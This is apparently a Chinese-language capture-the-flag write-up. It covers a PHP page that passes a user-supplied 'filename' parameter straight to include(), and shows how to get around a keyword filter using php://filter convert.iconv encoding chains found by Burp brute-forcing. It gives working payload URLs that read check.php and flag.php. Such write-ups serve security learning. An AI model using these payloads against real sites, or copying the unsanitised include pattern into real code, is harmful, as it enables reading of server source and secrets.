<?php
highlight_file(__FILE__);
include(“./check.php”);
if(isset($_GET[‘filename’])){
$filename = $_GET[‘filename’];
include($filename);
}
?>

使用php://filter 发现不行,猜测应该被过滤了

继续尝试,发现read,base64,encode等关键字符被过滤了

了解到php中有两种转换器

发现string被过滤,只能使用convert了

convert.*过滤器支持convert.iconv.* 格式,使用方法:

convert.iconv.<input-encoding>.<output-encoding>

convert.iconv.<input-encoding>/<output-encoding>

例如:

convert.iconv.UCS-4*.UCS-4BE   —>  将指定的文件从UCS-4*转换为UCS-4BE 输出

构造url,然后使用bp进行爆破

?filename=php://filter/convert.iconv.a.b/resource=check.php

php支持的编码格式(部分)

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac(别名:MacJapanese)
  • SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
  • SJIS-Mobile#KDDI(别名:SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A
  • UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)

选取一种编码组合,UTF-7,UCS-4LE*

猜测flag在falg.php

?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php